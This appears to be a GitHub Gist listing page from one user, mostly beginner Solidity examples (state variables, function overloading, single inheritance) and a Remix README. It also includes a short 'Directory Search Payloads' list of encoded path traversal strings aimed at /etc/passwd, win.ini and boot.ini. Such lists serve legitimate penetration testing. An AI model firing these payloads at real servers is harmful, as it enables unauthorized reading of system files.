Skip to content

Instantly share code, notes, and snippets.

@0xrisec
0xrisec / dirsearch.txt
Created May 18, 2024 04:48
Directory Search Payloads
%00
%00/
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e/
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini
%2f/
%3f.jsp
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
@0xrisec
0xrisec / Basics_Variable.sol
Created June 28, 2022 04:51
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.0+commit.c7dfd78e.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
contract MyContract {
int public num = 5;
}
@0xrisec
0xrisec / Basics_Variable.sol
Created June 28, 2022 04:50
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.0+commit.c7dfd78e.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
contract MyContract {
int public num = 5;
}
@0xrisec
0xrisec / Basics_Variable.sol
Created June 28, 2022 04:49
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.0+commit.c7dfd78e.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
contract MyContract {
int public num = 5;
}
@0xrisec
0xrisec / README.txt
Created June 28, 2022 04:46
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.0+commit.c7dfd78e.js&optimize=false&runs=200&gist=
REMIX DEFAULT WORKSPACE
Remix default workspace is present when:
i. Remix loads for the very first time
ii. A new workspace is created
iii. There are no files existing in the File Explorer
This workspace contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
@0xrisec
0xrisec / function-polymorphism-example-2.sol
Created May 25, 2022 08:41
polymorphism | Function polymorphism | different number of parameters
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
contract Adder {
function add(uint a,uint b) external pure returns(uint){
return a+b;
}
function add(uint a, uint b, uint c) external pure returns(uint){
return a+b+c;
@0xrisec
0xrisec / function-polymorphism-example-1.sol
Created May 25, 2022 08:39
polymorphism | Function polymorphism | same number of parameter but type are different
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
contract Adder {
function add(uint a,uint b) external pure returns(uint){
return a+b;
}
function add(int a, int b) external pure returns(int){
return a+b;
@0xrisec
0xrisec / single-inheritance-eample.sol
Last active May 23, 2022 12:02
Inheritance | single inheritance
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
// Creating a contract
contract Animal {
function eat() public pure returns(string memory){
return "I can eat.";
}
function sleep() public pure returns(string memory){
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
// Creating a contract
contract DC
{
bytes8 public hero = "batman";
}
//output
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
// Creating a contract
contract DC
{
string public hero = "batman";
string public villain = 'joker';
}